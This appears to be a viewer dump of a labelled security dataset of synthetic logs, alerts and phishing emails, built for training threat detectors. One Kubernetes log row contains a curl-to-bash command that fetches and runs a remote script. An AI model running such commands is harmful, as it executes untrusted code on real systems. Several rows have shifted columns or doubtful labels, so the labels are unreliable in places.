row_id int64 0 212k | text large_stringlengths 37 2.55M | source large_stringclasses 24
values | label_type large_stringclasses 6
values | mitre_tactic large_stringclasses 20
values | mitre_technique large_stringclasses 794
values | ioc_spans large_stringlengths 2 2.24k | anomaly_score float32 0 0.99 | attack_stage large_stringclasses 19
values | is_malicious bool 2
classes | log_type large_stringclasses 23
values | metadata large_stringlengths 16 481 |
|---|---|---|---|---|---|---|---|---|---|---|---|
0 | Q: What is the description of technique, Gather Victim Identity Information: Employee Names according to Mitre Attack framework? A: Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft... | public_mitre_instruction | mitre_classification | none | none | [] | 0.5 | none | true | other | {"format": "instruction"} |
1 | [SPLUNK] 2024-11-18 06:06:53 host=web-43 source=/var/log/apache2/access.log 10.22.126.142 - - [2024-07-21 15:15:53] "GET /api/v1/resource?token=3ba82b66016fe1791fa44d9b9d01177639c38c607053672e9f1f5be819bda30a HTTP/1.1" 200 1024 "-" "Mozilla/5.0" | base64_decode=1f160bd147951fab04268dbd0cda7ec6 | url_decode=5f128ff9c505... | synthetic_advanced_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 76, "end": 89, "type": "ip", "value": "10.22.126.142"}, {"start": 144, "end": 176, "type": "hash_md5", "value": "3ba82b66016fe1791fa44d9b9d011776"}, {"start": 176, "end": 208, "type": "hash_md5", "value": "39c38c607053672e9f1f5be819bda30a"}, {"start": 262, "end": 294, "type": "hash_md5", "value": "1f160bd147... | 0.94 | defense_evasion | true | other | {"evasion_type": "nested_encoding", "layers": 2} |
2 | Subject: pepsi * or coke * ? - receive $ 100 in gifts by joining our name brand cola survey ? From: None To: None we have $ 100 worth of coke , pepsi , or a restaurant gift card for your opinion on coke * vs pepsi * .
fxlzazqv | public_phishing | phishing_detection | Initial Access | T1566 | [] | 0.85 | initial_access | true | email | {"dataset": "seven-phishing-email-datasets"} |
3 | 2024-11-01 08:42:01 app03 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:11:22:33:44:55 SRC=185.86.167.154 DST=45.219.17.69 LEN=1305 TTL=128 ID=15172 DF PROTO=TCP SPT=33481 DPT=80 WINDOW=28202 RES=0x00 SYN URGP=0 | synthetic_linux | ioc_extraction | Command and Control | T1071 | [{"start": 85, "end": 99, "type": "ip", "value": "185.86.167.154"}, {"start": 104, "end": 116, "type": "ip", "value": "45.219.17.69"}] | 0.886343 | c2 | true | linux_syslog | {"host": "app03", "user": "ssh_user", "subtype": "syslog", "mutation": "none"} |
4 | 2024-12-02 12:00:10 mail01 sudo: backup : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/backup.sh | synthetic_linux | log_classification | none | none | [] | 0.079213 | none | false | linux_syslog | {"host": "mail01", "user": "backup", "subtype": "auth", "mutation": "none"} |
5 | Sysmon Event 13: RegistryEvent SetValue UtcTime: 2024-01-07 05:40:15 TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\update.exe Details: C:\Windows\System32\update.exe | synthetic_windows | log_classification | none | none | [] | 0.1 | none | false | windows_event | {"registry_key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\update.exe", "value": "C:\\Windows\\System32\\update.exe"} |
6 | [MULTI-STAGE ALERT] 2024-02-29 01:50:22 Stage 1 (T1055.012: Process Hollowing): cdn.kubung9528.xyz contacted from 10.60.22.132 Stage 2 (T1071.004: DNS): Credential hash fc05954c3605f329b9e8795d520391c13b5cf6047762a684aacfd3e4e75b858e transmitted to 104.149.187.9 Related IOCs: csrss.exe, http://fqvvbdpqfirphp.net/tklrel... | synthetic_zero_day | attack_chain | Defense Evasion,Command and Control | T1055.012,T1071.004 | [{"start": 114, "end": 126, "type": "ip", "value": "10.60.22.132"}, {"start": 249, "end": 262, "type": "ip", "value": "104.149.187.9"}, {"start": 169, "end": 201, "type": "hash_md5", "value": "fc05954c3605f329b9e8795d520391c1"}, {"start": 201, "end": 233, "type": "hash_md5", "value": "3b5cf6047762a684aacfd3e4e75b858e"}... | 0.95 | defense_evasion,c2 | true | other | {"techniques": ["T1055.012", "T1071.004"], "rare_combo": true} |
7 | Subject: ANN: python-ldap-2.3.2 From: Michael Ströder <kzrffxg@stroeder.com> To: yzaw-hjgk-hhsxik-qzyzawhj@moderators.isc.org Find a new release of python-ldap:
http://python-ldap.sourceforge.net/
python-ldap provides an object-oriented API to access LDAP directory
servers from Python programs. It mainly wraps the... | public_phishing | phishing_detection | none | none | [] | 0.1 | none | false | email | {"dataset": "seven-phishing-email-datasets"} |
8 | Subject: managing director and vice president elections From: None To: None sally :
congratulations on your recent appointment to managing director ! it was
richly deserved .
lexi
- - - - - - - - - - - - - - - - - - - - - - forwarded by lexi elliott / na / enron on 01 / 16 / 2001 10 : 36
am - - - - - - - - - - - - - - ... | public_phishing | phishing_detection | none | none | [] | 0.1 | none | false | email | {"dataset": "seven-phishing-email-datasets"} |
9 | 2024-12-30 15:27:37 DNS query client=10.177.158.152 query=6feyshhgr1fsgyaz1km1cipd297c64miye05zq7z4svk2d5.ernicckqdf-633.click type=TXT response_len=921 (NOERROR) queries_per_minute=250 | synthetic_advanced_dns | ioc_extraction | Command and Control | T1572 | [{"start": 37, "end": 51, "type": "ip", "value": "10.177.158.152"}, {"start": 58, "end": 126, "type": "domain", "value": "6feyshhgr1fsgyaz1km1cipd297c64miye05zq7z4svk2d5.ernicckqdf-633.click"}] | 0.975563 | c2 | true | dns | {"tunneling": true, "entropy_check": true} |
10 | Subject: RE: IT's ALEADY BEEN CIRCULATED to customers From: "Williams, Robert C." <Robert.C.Williams@ENRON.com> To: "Mara, Susan" <Susan.J.Mara@ENRON.com> Sue, let's you, Mike, and I talk to Ed Duncan about revising the Brief. I don't think it matters that a draft went to some customers. -----Original Message----- Fr... | public_phishing | phishing_detection | none | none | [] | 0.1 | none | false | email | {"dataset": "seven-phishing-email-datasets"} |
11 | EventID=4688 New process created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\service[.]exe (PID: 30776, Parent: C:\Windows\System32\csrss[.]exe, User: SYSTEM, CommandLine: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\service[.]exe, IP: 10[.]137[.]28[.]37) | synthetic_windows | ioc_extraction | Credential Access | T1558 | [{"start": 264, "end": 276, "type": "ip", "value": "10.137.28.37"}, {"start": 95, "end": 106, "type": "domain", "value": "service.exe"}, {"start": 148, "end": 157, "type": "domain", "value": "csrss.exe"}, {"start": 247, "end": 258, "type": "domain", "value": "service.exe"}] | 0.978029 | credential_access | true | windows_event | {"process": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\service.exe", "user": "SYSTEM", "mutation": "boundary", "cmdline": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\service.exe"} |
12 | {"eventType": "user.authentication.auth_via_mfa", "outcome": {"result": "SUCCESS"}, "actor": {"alternateId": "finance@corp.com", "displayName": "finance"}, "client": {"ipAddress": "10.71.209.41", "userAgent": {"os": "Mac OS X", "browser": "SAFARI"}, "geographicalContext": {"country": "United States", "city": "San Franc... | synthetic_iam | log_classification | none | none | [] | 0.099206 | none | false | iam | {"provider": "duo", "user": "finance@corp.com"} |
13 | EventID=4688 New process: C:\Windows\System32\svchost.exe (PID: 44051, User: SYSTEM, IP: 10.0.0.1) | synthetic_false_positive | log_classification | none | none | [] | 0.1 | none | false | other | {"fp_type": "benign_looks_malicious", "internal": true} |
14 | 2024-12-03 06:14:58 mail01 systemd[76741]: Starting nginx... | synthetic_linux | log_classification | none | none | [] | 0.084017 | none | false | linux_syslog | {"host": "mail01", "user": "root", "subtype": "syslog", "mutation": "none"} |
15 | EventID=4688 New process created: C:\Windows\System32\services.exe (PID: 38591, Parent: C:\Windows\System32\services.exe, User: Administrator, CommandLine: C:\Windows\System32\services.exe, IP: 104.147.164.16) | synthetic_windows | ioc_extraction | Lateral Movement | T1105 | [{"start": 194, "end": 208, "type": "ip", "value": "104.147.164.16"}, {"start": 54, "end": 66, "type": "domain", "value": "services.exe"}, {"start": 108, "end": 120, "type": "domain", "value": "services.exe"}, {"start": 176, "end": 188, "type": "domain", "value": "services.exe"}] | 0.902954 | lateral_movement | true | windows_event | {"process": "C:\\Windows\\System32\\services.exe", "user": "Administrator", "mutation": "none", "cmdline": "C:\\Windows\\System32\\services.exe"} |
16 | [MULTI-STAGE ALERT] 2024-02-06 07:16:12 Stage 1 (T1595.002: Vulnerability Scanning): cdn.hegvwdcwdmpexzsofkcm.org contacted from 10.189.225.240 Stage 2 (T1078: Valid Accounts): Credential hash a8743b92440bc9e1eaf5d61f21ee1e94 transmitted to 193.55.77.26 Related IOCs: setup.exe, https://x7339605.top/aduktlhxolnwase.dll | synthetic_zero_day | attack_chain | Reconnaissance,Initial Access | T1595.002,T1078 | [{"start": 129, "end": 143, "type": "ip", "value": "10.189.225.240"}, {"start": 241, "end": 253, "type": "ip", "value": "193.55.77.26"}, {"start": 193, "end": 225, "type": "hash_md5", "value": "a8743b92440bc9e1eaf5d61f21ee1e94"}, {"start": 85, "end": 113, "type": "domain", "value": "cdn.hegvwdcwdmpexzsofkcm.org"}, {"st... | 0.95 | recon,initial_access | true | other | {"techniques": ["T1595.002", "T1078"], "rare_combo": true} |
17 | {"time": "2024-09-01 05:09:53", "resourceId": "/SUBSCRIPTIONS/dcf93dc2-eb98-f24d-3ee4-f904c7d2533b/RESOURCEGROUPS/CORP-RG/PROVIDERS/MICROSOFT.COMPUTE/VIRTUALMACHINES/VM-DB01", "category": "Administrative", "operationName": "MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE", "activityDisplayName": "Create or Update Virtual Machi... | synthetic_cloud | ioc_extraction | Defense Evasion | T1535 | [{"start": 402, "end": 415, "type": "ip", "value": "45.90.174.168"}, {"start": 132, "end": 149, "type": "domain", "value": "MICROSOFT.COMPUTE"}, {"start": 224, "end": 241, "type": "domain", "value": "MICROSOFT.COMPUTE"}, {"start": 371, "end": 379, "type": "domain", "value": "evil.com"}] | 0.969003 | defense_evasion | true | cloud_azure | {"provider": "azure", "event_source": "azure"} |
18 | 2024-04-03 14:46:25 mail01 CRON[8409]: (root) CMD (/usr/local/bin/cleanup.sh) | synthetic_linux | log_classification | none | none | [] | 0.04045 | none | false | linux_syslog | {"host": "mail01", "user": "root", "subtype": "auth", "mutation": "none"} |
19 | [EMAIL] 2024-04-10 09:08:30 From: noreply@@d0b3.org Subject: Invoice attached: inv_9228.pdf.html.exe Body contains: Please review attached document | Homoglyph domain: ntflix.net | Punycode: xn--fefcd683 | synthetic_advanced_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 43, "end": 51, "type": "domain", "value": "d0b3.org"}, {"start": 83, "end": 100, "type": "domain", "value": "9228.pdf.html.exe"}, {"start": 168, "end": 178, "type": "domain", "value": "ntflix.net"}] | 0.94 | defense_evasion | true | other | {"evasion_type": "homoglyph_advanced", "layers": 5} |
20 | Subject: Make your fat friends envy you From: Stacy Justice <miskarsafvor@karsaf.com> To: gnitpick@flax9.uwaterloo.ca
Seize your opportunity! Anatrim The latest and most exciting product for corpulent people available As were told on Oprah
Do you recall all the times when you plead to yourself to do anything f... | public_phishing | phishing_detection | Initial Access | T1566 | [] | 0.85 | initial_access | true | email | {"dataset": "seven-phishing-email-datasets"} |
21 | type=SYSCALL msg=audit(2024-01-20T13:45:53.149167829): arch=c000003e syscall=59 success=yes exit=0 a0=7f... a1=7f... a2=7f... a3=0 items=2 ppid=4554 pid=13898 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="bash" exe="/bin/bash" key="rootcmd" | type=EXECVE msg=audit(2024-05-08T21:... | synthetic_linux | ioc_extraction | Command and Control | T1071 | [{"start": 387, "end": 411, "type": "domain", "value": "cdn.dezwjikrjnarbabk.com"}, {"start": 412, "end": 420, "type": "domain", "value": "shell.sh"}] | 0.910166 | c2 | true | linux_syslog | {"host": "fw01", "user": "backup", "subtype": "auditd", "mutation": "context_poison"} |
22 | [2024-02-14 06:53:17] [ARTIFACTORY] DOWNLOAD repo=npm-remote path=/lodash/-/lodash-4.17.21.tgz ip=104.193.107.106 user=alert159@secure-mail.net size=123456 sha256=45a4578fb3240462ca008cc1700a82b37e4fa796c6b86ae9a7455e0e7549ea11
[2024-01-07 02:59:16] [ARTIFACTORY] WARNING: Downloaded package contains known malicious sig... | synthetic_supply_chain | ioc_extraction | T1195.001 | [{"start": 98, "end": 113, "type": "ip", "value": "104.193.107.106"}, {"start": 163, "end": 195, "type": "hash_md5", "value": "45a4578fb3240462ca008cc1700a82b3"}, {"start": 195, "end": 227, "type": "hash_md5", "value": "7e4fa796c6b86ae9a7455e0e7549ea11"}, {"start": 163, "end": 227, "type": "hash_sha256", "value": "45a4... | 0.890208 | none | true | ci_cd | {"pipeline": "jenkins"} | |
23 | {"level":"warn","ts":"2024-03-12 17:30:58","caller":"kubelet","msg":"Unexpected command execution detected","pod":"redis-335","namespace":"default","container":"main","exec_command":"[\"/bin/sh\",\"-c\",\"curl -s http://amazon.fr/payload.sh | bash\"]","user":"system:serviceaccount:default:default"} | synthetic_kubernetes | ioc_extraction | Credential Access | T1552 | [{"start": 220, "end": 229, "type": "domain", "value": "amazon.fr"}, {"start": 230, "end": 240, "type": "domain", "value": "payload.sh"}] | 0.87647 | credential_access | true | kubernetes | {"namespace": "default", "pod": "redis"} |
24 | [2024-05-26 09:32:10] DLP ALERT user=admin796@yahoo.com action=UPLOAD destination=assets.gitbthub.org file='Customer_Database.xlsx' size=50MB classification=CONFIDENTIAL records=532201 | synthetic_fim_dlp | ioc_extraction | Credential Access | T1552 | [{"start": 82, "end": 101, "type": "domain", "value": "assets.gitbthub.org"}, {"start": 117, "end": 130, "type": "domain", "value": "Database.xlsx"}] | 0.811768 | credential_access | true | fim | {"alert_type": "dlp"} |
25 | EventID=4688 New process created: C:\Windows\System32\services.exe (PID: 33584, Parent: C:\Windows\System32\smss.exe, User: Administrator, CommandLine: C:\Windows\System32\services.exe, IP: 193.200.145.238) | synthetic_windows | log_classification | none | none | [] | 0.163457 | none | false | windows_event | {"process": "C:\\Windows\\System32\\services.exe", "user": "Administrator", "mutation": "none", "cmdline": "C:\\Windows\\System32\\services.exe"} |
26 | Sysmon Event 13: RegistryEvent SetValue UtcTime: 2024-06-16 07:47:24 TargetObject: HKCC\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\installer.msi Details: C:\Users\Public\services.exe | synthetic_windows | ioc_extraction | Persistence | T1547.001 | [{"start": 83, "end": 147, "type": "registry_key", "value": "HKCC\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\installer.msi"}] | 0.75 | persistence | true | windows_event | {"registry_key": "HKCC\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\installer.msi", "value": "C:\\Users\\Public\\services.exe"} |
27 | [MULTI-STAGE ALERT] 2024-10-01 19:28:48 Stage 1 (T1021.006: Windows Remote Management): cdn.qxzkaibb-oeyqzrfk.ru contacted from 10.67.12.81 Stage 2 (T1486: Data Encrypted for Impact): Credential hash 8eeb02b1aacbe2829fb486f735606ca43bb356ae402837d8c3b027d2035184b8 transmitted to 104.233.175.171 Related IOCs: winlogon.e... | synthetic_zero_day | attack_chain | Lateral Movement,Impact | T1021.006,T1486 | [{"start": 128, "end": 139, "type": "ip", "value": "10.67.12.81"}, {"start": 280, "end": 295, "type": "ip", "value": "104.233.175.171"}, {"start": 200, "end": 232, "type": "hash_md5", "value": "8eeb02b1aacbe2829fb486f735606ca4"}, {"start": 232, "end": 264, "type": "hash_md5", "value": "3bb356ae402837d8c3b027d2035184b8"... | 0.95 | lateral_movement,impact | true | other | {"techniques": ["T1021.006", "T1486"], "rare_combo": true} |
28 | EventID=4688 New process created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\service.exe (PID: 33508, Parent: C:\Windows\explorer.exe, User: sql_svc, CommandLine: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\service.exe, IP: 104.132.135.49) | synthetic_windows | ioc_extraction | Persistence | T1543 | [{"start": 259, "end": 273, "type": "ip", "value": "104.132.135.49"}, {"start": 95, "end": 106, "type": "domain", "value": "service.exe"}, {"start": 139, "end": 151, "type": "domain", "value": "explorer.exe"}, {"start": 242, "end": 253, "type": "domain", "value": "service.exe"}] | 0.942762 | persistence | true | windows_event | {"process": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\service.exe", "user": "sql_svc", "mutation": "none", "cmdline": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\service.exe"} |
29 | {"time": "2024-11-16 07:47:49", "resourceId": "/SUBSCRIPTIONS/095889f4-d5de-c7d2-1c56-b38d6dd8576f/RESOURCEGROUPS/CORP-RG/PROVIDERS/MICROSOFT.COMPUTE/VIRTUALMACHINES/VM-DB01", "category": "Administrative", "operationName": "MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE", "activityDisplayName": "Create or Update Virtual Machi... | synthetic_cloud | ioc_extraction | Initial Access | T1078 | [{"start": 132, "end": 149, "type": "domain", "value": "MICROSOFT.COMPUTE"}, {"start": 224, "end": 241, "type": "domain", "value": "MICROSOFT.COMPUTE"}, {"start": 371, "end": 379, "type": "domain", "value": "evil.com"}] | 0.960232 | initial_access | true | cloud_azure | {"provider": "azure", "event_source": "azure"} |
30 | {"level":"info","ts":"2024-02-22 17:30:36","caller":"scheduler","msg":"Successfully assigned","pod":"elastic-749","namespace":"cert-manager","node":"worker-4"} | synthetic_kubernetes | log_classification | none | none | [] | 0.06834 | none | false | kubernetes | {"namespace": "cert-manager", "pod": "elastic"} |
31 | EventID=7045 Service installed: Service Name: RemoteAccess Image Path: C:\Users\Public\patch.exe Service Type: user mode process Start Type: auto Account: LocalSystem | synthetic_windows | ioc_extraction | Persistence | T1543 | [{"start": 71, "end": 96, "type": "filename", "value": "C:\\Users\\Public\\patch.exe"}] | 0.8 | persistence | true | windows_event | {"service_name": "RemoteAccess", "service_path": "C:\\Users\\Public\\patch.exe"} |
32 | Subject: Password reset request From: noreply@company.com To: alert969@internal.corp Date: 2024-10-23 20:11:45 Hello, this is a routine notification. No action is required. | synthetic_email | log_classification | none | none | [] | 0.091241 | none | false | email | {"sender": "noreply@company.com", "receiver": "alert969@internal.corp", "mutation": "none"} |
33 | [EMAIL] 2024-02-12 23:37:06 From: noreply@lnst@gr@m.org Subject: Invoice attached: inv_7304.pdf.html.exe Body contains: Please review attached document | Homoglyph domain: twitter.co.uk | Punycode: xn--426c1b6e | synthetic_advanced_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 50, "end": 55, "type": "domain", "value": "m.org"}, {"start": 87, "end": 104, "type": "domain", "value": "7304.pdf.html.exe"}, {"start": 172, "end": 185, "type": "domain", "value": "twitter.co.uk"}] | 0.94 | defense_evasion | true | other | {"evasion_type": "homoglyph_advanced", "layers": 5} |
34 | EventID=7045 Service installed: Service Name: WindowsUpdate Image Path: C:\Users\Public\services.exe Service Type: user mode process Start Type: auto Account: LocalSystem | synthetic_windows | ioc_extraction | Persistence | T1543.003 | [{"start": 72, "end": 100, "type": "filename", "value": "C:\\Users\\Public\\services.exe"}] | 0.8 | persistence | true | windows_event | {"service_name": "WindowsUpdate", "service_path": "C:\\Users\\Public\\services.exe"} |
35 | 2024-08-01 16:01:47 WAF ALLOW client=10.158.0.182 rule_id=200000 msg='Request allowed' uri='/api/health' method=GET severity=INFO | synthetic_waf | log_classification | none | none | [] | 0.017861 | none | false | waf | {"rule_triggered": false} |
36 | 2024-01-23 16:27:30 108149 104.51.128.75:4901 -> 104.88.164.76:22 TCP 6932 6808425 2635 SYN | synthetic_network | log_classification | none | none | [] | 0.082991 | none | false | netflow | {"src_ip": "104.51.128.75", "dest_ip": "104.88.164.76", "mutation": "none"} |
37 | type=SYSCALL msg=audit(2024-12-11T13:28:34.604280708): arch=c000003e syscall=2 success=yes exit=3 a0=7f... a1=80000 a2=1b6 a3=0 items=1 ppid=9732 pid=24490 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key="usercmd" | synthetic_linux | log_classification | none | none | [] | 0.126637 | none | false | linux_syslog | {"host": "fw01", "user": "nginx", "subtype": "auditd", "mutation": "none"} |
38 | [2024-06-26 22:58:27] EMAIL_GATEWAY: MessageID=<98778a18-c493-1894-cb4c-f3022efc09ab@corp-mail.com> From=sre624@yahoo.com To=ceo@corp.com Subject='Urgent: Q4 Financial Review' Attachment='Q4_Review.docm' SHA256=00de2584b34f428b2a3de2ba77c73f44
[2024-05-19 17:11:00] SYSMON: Process Create powershell.exe -WindowStyle Hid... | synthetic_apt_campaign | attack_chain | Initial Access,Execution,Persistence,Defense Evasion,Credential Access,Discovery,Lateral Movement,Collection,Exfiltration | T1566.001,T1059.001,T1546.003,T1134,T1562.001,T1003.001,T1087.002,T1021.002,T1074,T1041 | [{"start": 1421, "end": 1432, "type": "ip", "value": "10.76.102.1"}, {"start": 1496, "end": 1509, "type": "ip", "value": "10.202.240.28"}, {"start": 1545, "end": 1557, "type": "ip", "value": "10.146.82.52"}, {"start": 1814, "end": 1826, "type": "ip", "value": "10.98.36.144"}, {"start": 1834, "end": 1849, "type": "ip", ... | 0.97 | initial_access,execution,persistence,defense_evasion,credential_access,discovery,lateral_movement,collection,exfil | true | apt | {"stage_count": 10, "apt_name": "Cobalt Group"} |
39 | [MULTI-STAGE ALERT] 2024-12-25 23:02:29 Stage 1 (T1595.002: Vulnerability Scanning): cdn.dpjazdasmpnb.com contacted from 10.8.253.186 Stage 2 (T1078: Valid Accounts): Credential hash 7927eff59cd928269b0653d989b62008 transmitted to 185.182.102.8 Related IOCs: winlogon.exe, http://x5244254.top/tsvtjgeei.dll | synthetic_zero_day | attack_chain | Reconnaissance,Initial Access | T1595.002,T1078 | [{"start": 121, "end": 133, "type": "ip", "value": "10.8.253.186"}, {"start": 231, "end": 244, "type": "ip", "value": "185.182.102.8"}, {"start": 183, "end": 215, "type": "hash_md5", "value": "7927eff59cd928269b0653d989b62008"}, {"start": 85, "end": 105, "type": "domain", "value": "cdn.dpjazdasmpnb.com"}, {"start": 259... | 0.95 | recon,initial_access | true | other | {"techniques": ["T1595.002", "T1078"], "rare_combo": true} |
40 | {"eventType": "user.session.start", "outcome": {"result": "SUCCESS"}, "actor": {"alternateId": "helpdesk245@saas-platform.io", "displayName": "helpdesk245"}, "client": {"ipAddress": "104.234.131.245", "userAgent": {"os": "Unknown", "browser": "UNKNOWN"}}, "published": "2024-12-20 22:48:34"} | synthetic_iam | ioc_extraction | T1556 | [{"start": 183, "end": 198, "type": "ip", "value": "104.234.131.245"}, {"start": 15, "end": 33, "type": "domain", "value": "user.session.start"}] | 0.972004 | none | true | iam | {"provider": "azure_ad", "user": "helpdesk245@saas-platform.io"} | |
41 | 2024-08-22 12:48:29 688936 104.128.12.55:24092 -> 193.38.214.124:443 TCP 2155 9951841 2976 SYN | synthetic_network | log_classification | none | none | [] | 0.027112 | none | false | netflow | {"src_ip": "104.128.12.55", "dest_ip": "193.38.214.124", "mutation": "none"} |
42 | {"level":"info","ts":"2024-03-22 18:21:23","caller":"kubelet","msg":"Container started","pod":"jenkins-264","namespace":"kube-system","container":"main","image":"nginx:1.21"} | synthetic_kubernetes | log_classification | none | none | [] | 0.015565 | none | false | kubernetes | {"namespace": "kube-system", "pod": "jenkins"} |
43 | Email from: security@company.com Subject: Routine scan complete. No threats detected. | synthetic_false_positive | log_classification | none | none | [] | 0.1 | none | false | other | {"fp_type": "benign_looks_malicious", "internal": true} |
44 | [2024-03-11 12:39:31] [AUDIT] statement: SELECT * FROM users WHERE password_hash IS NOT NULL; -- dumped 16211 rows | synthetic_database | log_classification | Exfiltration | T1567 | [] | 0.856386 | exfil | true | database | {"db_type": "mysql", "user": "backup"} |
45 | Sysmon Event 1: Process Create UtcTime: 2024-01-09 11:05:07 ProcessGuid: {72cf7918-5306-7213-aa5f-834b9602d25c} ProcessId: 4021 Image: C:\Windows\System32\winlogon.exe CommandLine: C:\Windows\System32\winlogon.exe User: FABRIKAM\john.doe LogonId: 997112 IntegrityLevel: Medium Hashes: MD5=53423eecb262daa49cda8c6a3ac4c19... | synthetic_windows | log_classification | none | none | [] | 0.08826 | none | false | windows_event | {"process": "C:\\Windows\\System32\\winlogon.exe", "user": "john.doe", "mutation": "none", "cmdline": "C:\\Windows\\System32\\winlogon.exe"} |
46 | Sysmon Event 1: Process Create UtcTime: 2024-02-03 01:36:25 ProcessGuid: {44e4466c-2467-5892-fcef-88723d153cdc} ProcessId: 41478 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -ExecutionPolicy Bypass -File C:\Scripts\backup.ps1 User: NT AUTHORITY\sql_svc LogonId: 394528 Int... | synthetic_windows | log_classification | none | none | [] | 0.176322 | none | false | windows_event | {"process": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "user": "sql_svc", "mutation": "none", "cmdline": "powershell.exe -ExecutionPolicy Bypass -File C:\\Scripts\\backup.ps1"} |
47 | type=SYSCALL msg=audit(2024-08-13T14:55:35.663134020): arch=c000003e syscall=2 success=yes exit=3 a0=7f... a1=80000 a2=1b6 a3=0 items=1 ppid=9746 pid=48938 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key="usercmd" | synthetic_linux | log_classification | none | none | [] | 0.002119 | none | false | linux_syslog | {"host": "app03", "user": "backup", "subtype": "auditd", "mutation": "none"} |
48 | [2024-08-31 22:46:42] EMAIL_GATEWAY: MessageID=<1d75f397-ffa7-5429-b429-9e91887a9e94@corp-mail.com> From=noreply610@outlook.com To=ceo@corp.com Subject='Urgent: Q4 Financial Review' Attachment='Q4_Review.docm' SHA256=b6881fd248d482814ad6581e474f9527
[2024-03-19 23:58:35] SYSMON: Process Create powershell.exe -WindowSty... | synthetic_apt_campaign | attack_chain | Initial Access,Execution,Persistence,Defense Evasion,Credential Access,Discovery,Lateral Movement,Collection,Exfiltration | T1566.001,T1059.001,T1546.003,T1134,T1562.001,T1003.001,T1087.002,T1021.002,T1074,T1041 | [{"start": 1419, "end": 1431, "type": "ip", "value": "10.46.29.131"}, {"start": 1495, "end": 1509, "type": "ip", "value": "10.100.255.177"}, {"start": 1545, "end": 1557, "type": "ip", "value": "10.27.117.67"}, {"start": 1815, "end": 1826, "type": "ip", "value": "10.5.250.21"}, {"start": 1834, "end": 1847, "type": "ip",... | 0.97 | initial_access,execution,persistence,defense_evasion,credential_access,discovery,lateral_movement,collection,exfil | true | apt | {"stage_count": 10, "apt_name": "APT29"} |
49 | 2024-11-24 06:34:25 ACCEPT TCP 45.46.88.187:44898 -> 185.121.154.216:80 len=1418 ttl=37 id=9518 | synthetic_network | ioc_extraction | Discovery | T1046 | [{"start": 31, "end": 43, "type": "ip", "value": "45.46.88.187"}, {"start": 53, "end": 68, "type": "ip", "value": "185.121.154.216"}] | 0.881517 | discovery | true | firewall | {"src_ip": "45.46.88.187", "dest_ip": "185.121.154.216", "mutation": "boundary"} |
50 | [2024-01-03 19:55:31] DLP ALERT user=devops@corp.com action=GITHUB_PUSH repo=cdn.ojppakwfos-432.click/leaked-creds file='aws_credentials.csv' secrets_found=23 | synthetic_fim_dlp | ioc_extraction | T1565 | [{"start": 44, "end": 52, "type": "domain", "value": "corp.com"}, {"start": 77, "end": 101, "type": "domain", "value": "cdn.ojppakwfos-432.click"}, {"start": 125, "end": 140, "type": "domain", "value": "credentials.csv"}] | 0.926341 | none | true | fim | {"alert_type": "dlp"} | |
51 | {"eventType": "user.authentication.auth_via_mfa", "outcome": {"result": "SUCCESS"}, "actor": {"alternateId": "ceo@corp.com", "displayName": "ceo"}, "client": {"ipAddress": "185.241.84.252", "userAgent": {"os": "Windows", "browser": "CHROME"}, "geographicalContext": {"country": "Russia", "city": "Moscow"}}, "authenticat... | synthetic_iam | ioc_extraction | T1556 | [{"start": 173, "end": 187, "type": "ip", "value": "185.241.84.252"}, {"start": 385, "end": 417, "type": "hash_md5", "value": "3a66ec429fc09a746b6b97682edc3ae0"}, {"start": 15, "end": 39, "type": "domain", "value": "user.authentication.auth"}, {"start": 114, "end": 122, "type": "domain", "value": "corp.com"}] | 0.89789 | none | true | iam | {"provider": "azure_ad", "user": "ceo@corp.com"} | |
52 | [ALERT] 2024-10-18 09:52:42 EDR_AGENT="SentinelOne" HOST="WEB-84" THREAT="Command and Control" TECH="T1071.001" DESC="Beacons to known C2 domain detected: assets.netflilix.tech with JARM fingerprint match" SEVERITY="HIGH" C2_DOMAIN="cdn.zkbenfygyadvbwfw.com" | synthetic_edr | ioc_extraction | Command and Control | T1071.001 | [{"start": 155, "end": 176, "type": "domain", "value": "assets.netflilix.tech"}, {"start": 233, "end": 257, "type": "domain", "value": "cdn.zkbenfygyadvbwfw.com"}] | 0.981179 | c2 | true | edr | {"vendor": "Microsoft Defender"} |
